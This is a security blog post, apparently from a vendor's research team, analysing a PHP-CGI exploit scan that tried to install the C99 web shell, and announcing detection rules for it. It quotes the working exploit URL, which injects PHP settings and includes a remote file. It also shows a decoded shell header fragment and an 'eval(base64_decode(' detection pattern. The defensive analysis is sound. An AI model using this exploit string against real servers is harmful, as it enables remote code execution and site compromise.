While reviewing the events on one of the network the VRT monitors, we decided to do some digging on an event triggered by scan for the recently released PHP-CGI vulnerability. Knowing what attackers were actually trying to drop onto vulnerable systems would be itneresting, we figured. Since we could ensure proper coverage at that stage of the attack as well if we found something novel, we decided to go take a look.
The URL of the scan was:
/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F%2Finfo3.txt
Nothing particularly surprising there. What was interesting, through, was the "info3.txt" file, which contained only:
< ? php
echo("830ad4ea3b311795d5a615b9e5fdbb9a");
? >
Confused as to how that would help an attacker, we did the logical thing and looked for "info2.txt". Not only did it exist, it had a much more interesting bit of code:
Even without reading the Russian, it's pretty obvious what's going on here; the "c99.php" gives it away as the C99 Shell, a common backdoor tool used for easy control via a web interface once a box has been popped. Doing a quick bit of Google Translate, the comments are simple notes around file creation. The only part that doesn't make sense is the exploit writer's proud declaration of his own masculinity - but then again, it's not like we need to be this guy's psychiatrist in order to block him.
So the question from there is - how do we block this? Going after the actual encoded data is the simplest and most reliable way, so we decoded the rather large chunk of Base64 data to see what we were looking at. The data that popped out began with:
/*
Encoder : AROHA PHPencoder ver. 1.04
WEB :http://phpencoder.aroha.sk/
*/
?>
//add php tags before usage
/*
******************************************************************************************************
*
* c99shell.php v.1.0 beta (?? 21.05.2005)
The "c99shell.php v" bit is the obvious target there, as it's least likely to change; SID 23016 looks for the encoded version of that string.
While detecting the specific attack is one thing, looking for generic obfuscations or other indicators common to many exploits is another. It can sometimes lead to detecting unknown or little known attacks, since they might have an exploit you don't know about but reuse the same technique as an attack you do know about.
That in mind, we realized that we should have a rule that looks for "eval(base64_decode(", which was at the very bottom of the script, as well - not only has SID 15363, which looks for eval/unescape in JavaScript, found a ton of malicious activity in the wild, a quick bit of searching for "eval(base64_decode(" shows pages and pages of hits on hacked web sites, and nothing at all on legitimate use. SID 23018 now looks for that bit of nasty.
Just to round things off, we've also included SID 23017 for the big, bold "I'm a man!" string. Much like SIDs 21548, 21539, 21549, 21876, and 22039 - which all look for variants on Blackhole and Cutwail's classic "Loading ... please wait", this should never show up in legitimate traffic, and may catch different tools associated with this particular group.
In the meantime, we've been able to confirm that our existing rules for the use of an installed C99 shell work well; we suggest that customers concerned about this sort of traffic consider enabling SIDs 16613 - 16628, 18686 - 18690, and 22917 - 22936. We'd love to hear your feedback on the rules, so don't be shy about dropping us a note if you see anything around them.